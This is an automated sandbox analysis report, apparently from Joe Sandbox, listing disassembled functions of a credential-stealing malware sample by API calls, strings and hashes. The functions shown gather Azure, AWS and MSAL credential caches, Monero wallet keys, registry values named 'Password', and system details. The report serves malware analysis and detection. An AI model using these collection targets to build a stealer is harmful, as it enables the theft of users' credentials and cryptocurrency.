Opcode ID: 74d6dad080bc14ca2e2aed4aeb13d5f5891f9df73f879ed30ae7a2e597960774
Instruction ID: 9b60a9ccdca65c046332ab2f8cdfd26f2cd5c704359c6e9541f6dc31e979bec4
Opcode Fuzzy Hash: 74d6dad080bc14ca2e2aed4aeb13d5f5891f9df73f879ed30ae7a2e597960774
Instruction Fuzzy Hash: 90E14F729101089BCB54FBB4EC52AFE7379EF56300F508629B40766095EF34AA0DCBB2

Function 00DA4D70 Relevance: 22.6, APIs: 6, Strings: 9, Instructions: 123stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DA8DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00DA8E0B

lstrcat.KERNEL32(?,00000000), ref: 00DA4DB0
lstrcat.KERNEL32(?,\.azure\), ref: 00DA4DCD

Part of subcall function 00DA4910: wsprintfA.USER32 ref: 00DA492C
Part of subcall function 00DA4910: FindFirstFileA.KERNEL32(?,?), ref: 00DA4943

lstrcat.KERNEL32(?,00000000), ref: 00DA4E3C
lstrcat.KERNEL32(?,\.aws\), ref: 00DA4E59

Part of subcall function 00DA4910: StrCmpCA.SHLWAPI(?,00DB0FDC), ref: 00DA4971
Part of subcall function 00DA4910: StrCmpCA.SHLWAPI(?,00DB0FE0), ref: 00DA4987
Part of subcall function 00DA4910: FindNextFileA.KERNEL32(000000FF,?), ref: 00DA4B7D
Part of subcall function 00DA4910: FindClose.KERNEL32(000000FF), ref: 00DA4B92

lstrcat.KERNEL32(?,00000000), ref: 00DA4EC8
lstrcat.KERNEL32(?,\.IdentityService\), ref: 00DA4EE5

Part of subcall function 00DA4910: wsprintfA.USER32 ref: 00DA49B0
Part of subcall function 00DA4910: StrCmpCA.SHLWAPI(?,00DB08D2), ref: 00DA49C5
Part of subcall function 00DA4910: wsprintfA.USER32 ref: 00DA49E2
Part of subcall function 00DA4910: PathMatchSpecA.SHLWAPI(?,?), ref: 00DA4A1E
Part of subcall function 00DA4910: lstrcat.KERNEL32(?,0194F050), ref: 00DA4A4A
Part of subcall function 00DA4910: lstrcat.KERNEL32(?,00DB0FF8), ref: 00DA4A5C
Part of subcall function 00DA4910: lstrcat.KERNEL32(?,?), ref: 00DA4A70
Part of subcall function 00DA4910: lstrcat.KERNEL32(?,00DB0FFC), ref: 00DA4A82
Part of subcall function 00DA4910: lstrcat.KERNEL32(?,?), ref: 00DA4A96
Part of subcall function 00DA4910: CopyFileA.KERNEL32(?,?,00000001), ref: 00DA4AAC
Part of subcall function 00DA4910: DeleteFileA.KERNEL32(?), ref: 00DA4B31

Strings

\.IdentityService\, xrefs: 00DA4ED9
*.*, xrefs: 00DA4E64
*.*, xrefs: 00DA4DD8
\.aws\, xrefs: 00DA4E4D
Azure\.IdentityService, xrefs: 00DA4EEB
Azure\.azure, xrefs: 00DA4DD3
Azure\.aws, xrefs: 00DA4E5F
\.azure\, xrefs: 00DA4DC1
msal.cache, xrefs: 00DA4EF0

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$File$Findwsprintf$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID: *.*$*.*$Azure\.IdentityService$Azure\.aws$Azure\.azure$\.IdentityService\$\.aws\$\.azure\$msal.cache
API String ID: 949356159-974132213
Opcode ID: d3379401afceb95c59d6a22cc076c4ad0ba236dba1e4fb74e5fb9c0e3269ac9e
Instruction ID: adb2dcc67b797c8e7a10221512f63c306bafec2f2255660e02c2f158c674dccf
Opcode Fuzzy Hash: d3379401afceb95c59d6a22cc076c4ad0ba236dba1e4fb74e5fb9c0e3269ac9e
Instruction Fuzzy Hash: EC41737A940208ABCB50F770EC57FEE7738AB65700F404554B546660C1EEB49BCD9BB2

Function 00D91310 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 141stringfileCOMMON

Download Yara Rule

APIs

Part of subcall function 00D912A0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00D912B4
Part of subcall function 00D912A0: RtlAllocateHeap.NTDLL(00000000), ref: 00D912BB
Part of subcall function 00D912A0: RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 00D912D7
Part of subcall function 00D912A0: RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 00D912F5
Part of subcall function 00D912A0: RegCloseKey.ADVAPI32(?), ref: 00D912FF

lstrcat.KERNEL32(?,00000000), ref: 00D9134F
lstrlen.KERNEL32(?), ref: 00D9135C
lstrcat.KERNEL32(?,.keys), ref: 00D91377

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Part of subcall function 00DAA9B0: lstrlen.KERNEL32(?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DAA9C5
Part of subcall function 00DAA9B0: lstrcpy.KERNEL32(00000000), ref: 00DAAA04
Part of subcall function 00DAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DAAA12

Part of subcall function 00DAA8A0: lstrcpy.KERNEL32(?,00DB0E17), ref: 00DAA905

Part of subcall function 00DA8B60: GetSystemTime.KERNEL32(00DB0E1A,0194AF40,00DB05AE,?,?,00D913F9,?,0000001A,00DB0E1A,00000000,?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DA8B86

Part of subcall function 00DAA920: lstrcpy.KERNEL32(00000000,?), ref: 00DAA972
Part of subcall function 00DAA920: lstrcat.KERNEL32(00000000), ref: 00DAA982

CopyFileA.KERNEL32(?,00000000,00000001), ref: 00D91465

Part of subcall function 00DAA7A0: lstrcpy.KERNEL32(?,00000000), ref: 00DAA7E6

Part of subcall function 00D999C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00D999EC
Part of subcall function 00D999C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00D99A11
Part of subcall function 00D999C0: LocalAlloc.KERNEL32(00000040,?), ref: 00D99A31
Part of subcall function 00D999C0: ReadFile.KERNEL32(000000FF,?,00000000,00D9148F,00000000), ref: 00D99A5A
Part of subcall function 00D999C0: LocalFree.KERNEL32(00D9148F), ref: 00D99A90
Part of subcall function 00D999C0: CloseHandle.KERNEL32(000000FF), ref: 00D99A9A

DeleteFileA.KERNEL32(00000000), ref: 00D914EF

Strings

wallet_path, xrefs: 00D91330
.keys, xrefs: 00D9136B
\Monero\wallet.keys, xrefs: 00D9138D
SOFTWARE\monero-project\monero-core, xrefs: 00D91335

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Filelstrcpy$lstrcat$CloseHeapLocallstrlen$AllocAllocateCopyCreateDeleteFreeHandleOpenProcessQueryReadSizeSystemTimeValue
String ID: .keys$SOFTWARE\monero-project\monero-core$\Monero\wallet.keys$wallet_path
API String ID: 3478931302-218353709
Opcode ID: 3e3248039baa8b1194869f5cc0eee39e15189cec6f76d740c2937ee55507db65
Instruction ID: 863eb19ef8ffa24ace778eb0a19b39f94d3e412018aebb0d1cecda0599a2c14f
Opcode Fuzzy Hash: 3e3248039baa8b1194869f5cc0eee39e15189cec6f76d740c2937ee55507db65
Instruction Fuzzy Hash: C75130B19501199BCB55FB74DC92BEE737CEF55300F404698B60A62082EF346B89CEB6

Function 00D975D0 Relevance: 15.8, APIs: 8, Strings: 1, Instructions: 91stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00D972D0: RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00D9733A
Part of subcall function 00D972D0: RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00D973B1
Part of subcall function 00D972D0: StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00D9740D
Part of subcall function 00D972D0: GetProcessHeap.KERNEL32(00000000,?), ref: 00D97452
Part of subcall function 00D972D0: HeapFree.KERNEL32(00000000), ref: 00D97459

lstrcat.KERNEL32(35ED6020,00DB17FC), ref: 00D97606
lstrcat.KERNEL32(35ED6020,00000000), ref: 00D97648
lstrcat.KERNEL32(35ED6020, : ), ref: 00D9765A
lstrcat.KERNEL32(35ED6020,00000000), ref: 00D9768F
lstrcat.KERNEL32(35ED6020,00DB1804), ref: 00D976A0
lstrcat.KERNEL32(35ED6020,00000000), ref: 00D976D3
lstrcat.KERNEL32(35ED6020,00DB1808), ref: 00D976ED
task.LIBCPMTD ref: 00D976FB

Strings

: , xrefs: 00D9764E

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heap$EnumFreeOpenProcessValuetask
String ID: :
API String ID: 2677904052-3653984579
Opcode ID: 7b3ead42555db7ff33ae45c7e844ac03bd639794c0818e8f3dcd0e3c5ee8231b
Instruction ID: 9a0020fd4fcaf5c441c52beaa4fa85f8c415f8f80342e56231e58b27f317522c
Opcode Fuzzy Hash: 7b3ead42555db7ff33ae45c7e844ac03bd639794c0818e8f3dcd0e3c5ee8231b
Instruction Fuzzy Hash: 97316976A01209EFCF44EBB4DC99DFE737AFB44301B144109E102A72A0DA34E946EB75

Function 00DA7500 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 106memoryCOMMON

Download Yara Rule

APIs

GetWindowsDirectoryA.KERNEL32(?,00000104), ref: 00DA7542
GetVolumeInformationA.KERNEL32(?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00DA757F
GetProcessHeap.KERNEL32(00000000,00000104), ref: 00DA7603
RtlAllocateHeap.NTDLL(00000000), ref: 00DA760A
wsprintfA.USER32 ref: 00DA7640

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Strings

\, xrefs: 00DA7560
C, xrefs: 00DA754C
:, xrefs: 00DA755C

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateDirectoryInformationProcessVolumeWindowslstrcpywsprintf
String ID: :$C$\
API String ID: 1544550907-3809124531
Opcode ID: 339a12696163b540a1db84892b1700458dc65f19474fbd3fc7131b04a0741c1e
Instruction ID: 11191a3178b63e593adfc1ee929a194726218296ed289310b7dcf55bb160b5f5
Opcode Fuzzy Hash: 339a12696163b540a1db84892b1700458dc65f19474fbd3fc7131b04a0741c1e
Instruction Fuzzy Hash: AE4180B1D05248ABDF10DFA4DC45BEEBBB8EF09700F140199F50A67280DB74AA44CBB5

Function 00DA8100 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 67memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00000000,00000000,?,0194E938,00000000,?,00DB0E2C,00000000,?,00000000), ref: 00DA8130
RtlAllocateHeap.NTDLL(00000000), ref: 00DA8137
GlobalMemoryStatusEx.KERNEL32(00000040,00000040,00000000), ref: 00DA8158
__aulldiv.LIBCMT ref: 00DA8172
__aulldiv.LIBCMT ref: 00DA8180
wsprintfA.USER32 ref: 00DA81AC

Strings

@, xrefs: 00DA814D
%d MB, xrefs: 00DA81A3

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Heap__aulldiv$AllocateGlobalMemoryProcessStatuswsprintf
String ID: %d MB$@
API String ID: 2774356765-3474575989
Opcode ID: de5ddfe6cdc658da5d6ed98097228a37dd225f4a9622ac4104f5bbd5f1aba5d0
Instruction ID: dcd334f39c7a7e898cd6589e7c0845f40749d2de24d75417e14184caefddda88
Opcode Fuzzy Hash: de5ddfe6cdc658da5d6ed98097228a37dd225f4a9622ac4104f5bbd5f1aba5d0
Instruction Fuzzy Hash: E3210BB1E44218ABDB00DFD4CC49FAEB7B9FB45B10F104609F605BB280D77899019BB9

Function 00D972D0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 149registrymemoryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,?,00000000,00020019,?), ref: 00D9733A
RegEnumValueA.ADVAPI32(?,00000000,00000000,000000FF,00000000,00000003,?,?), ref: 00D973B1
StrStrA.SHLWAPI(00000000,Password,00000000), ref: 00D9740D
GetProcessHeap.KERNEL32(00000000,?), ref: 00D97452
HeapFree.KERNEL32(00000000), ref: 00D97459
task.LIBCPMTD ref: 00D97555

Strings

Password, xrefs: 00D97401

Memory Dump Source

Source File: 00000006.00000002.1537629234.0000000000D91000.00000040.00000001.01000000.00000004.sdmp, Offset: 00D90000, based on PE: true

Associated: 00000006.00000002.1537597346.0000000000D90000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000DEA000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E15000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E18000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E1F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E22000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E41000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E4D000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E72000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E7F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000E9F000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000EAE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F35000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F55000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1537629234.0000000000F5B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000000FEE000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000116C000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.000000000124E000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001271000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001278000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538127264.0000000001287000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538372626.0000000001288000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538471319.0000000001420000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.1538485418.0000000001421000.00000080.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d90000_file.jbxd

Yara matches

Similarity

API ID: Heap$EnumFreeOpenProcessValuetask
String ID: Password
API String ID: 775622407-3434357891
Opcode ID: 1f4d039188cc342ba2376a7e033c33d4200de15438105b5ab53fd71b7109a2b5
Instruction ID: eaf2b64281150d6c4dae4ee0d8a69a589f1c28ad1bd6d9ab8aee67ea914493a9
Opcode Fuzzy Hash: 1f4d039188cc342ba2376a7e033c33d4200de15438105b5ab53fd71b7109a2b5
Instruction Fuzzy Hash: DA6119B59142689BDF24DB50CC55BEAB7B8FF44300F0081E9E689A6141DB70ABC9CFB1

Function 00D9BA80 Relevance: 12.3, APIs: 4, Strings: 4, Instructions: 284stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00DAA740: lstrcpy.KERNEL32(00DB0E17,00000000), ref: 00DAA788

Part of subcall function 00DAA9B0: lstrlen.KERNEL32(?,019497D0,?,\Monero\wallet.keys,00DB0E17), ref: 00DAA9C5
Part of subcall function 00DAA9B0: lstrcpy.KERNEL32(00000000), ref: 00DAAA04
Part of subcall function 00DAA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 00DAAA12

Part of subcall function 00DAA920: lstrcpy.KERNEL32(00000000,?), ref: 00DAA972
